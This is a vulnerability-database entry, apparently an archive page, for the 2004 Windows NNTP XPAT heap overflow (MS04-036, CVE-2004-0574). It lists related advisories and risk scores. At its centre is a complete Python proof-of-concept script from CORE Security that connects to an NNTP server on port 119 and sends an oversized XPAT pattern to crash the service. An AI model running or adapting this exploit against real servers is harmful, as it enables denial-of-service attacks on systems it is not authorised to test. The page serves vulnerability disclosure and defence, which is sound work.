Microsoft Windows NNTP Service (XPAT) - Denial of Service (MS04-036)

🗓️ 16 Oct 2004 00:00:00Reported by Lucas LavarelloType

Vulnerability in Microsoft Windows NNTP Service could allow Denial of Service via command overflow.

Reporter	Title	Published	Views	Family All 13
Tenable Nessus	Microsoft NNTP Component Remote Overflow (883935)	12 Oct 200400:00	–	nessus
Tenable Nessus	Microsoft NNTP Component Remote Overflow (883935)	12 Oct 200400:00	–	nessus
Tenable Nessus	MS04-036: Microsoft NNTP Component Remote Overflow (883935) (uncredentialed check)	12 Oct 200400:00	–	nessus
Core Security	IIS NNTP Service XPAT Command Vulnerabilities	12 Oct 200400:00	–	coresecurity
Check Point Advisories	NNTP (CVE-2004-0574; CVE-2005-1213)	6 Jul 200500:00	–	checkpoint_advisories
CVE	CVE-2004-0574	16 Oct 200404:00	–	cve
Cvelist	CVE-2004-0574	16 Oct 200404:00	–	cvelist
NVD	CVE-2004-0574	3 Nov 200405:00	–	nvd
OpenVAS	Windows NT NNTP Component Buffer Overflow	26 Apr 201000:00	–	openvas
OpenVAS	Windows NT NNTP Component Buffer Overflow	26 Apr 201000:00	–	openvas

#--
# IIS NNTP Service XPAT command heap overflow proof of concept
#
# Author:
#    Lucas Lavarello (lucas at coresecurity dot com)
#    Juliano Rizzo   (juliano at coresecurity dot com)
#
# Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.
# All rights reserved.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT,  INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE
#
# www coresecurity com
#--
from socket import *

host = "127.0.0.1"
pat = "C"*1946  + " " + "X"*10

newsgroup = "control.newgroup"

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host, 119))

print sock.recv(512)

sock.send("group %s\x0d\x0a" % newsgroup)

print sock.recv(512)

sock.send("xpat From 1-9 %s \x0d\x0a" % pat)


# milw0rm.com [2004-10-16]

16 Oct 2004 00:00Current

7.4High risk

Vulners AI Score7.4

CVSS 210

EPSS0.64448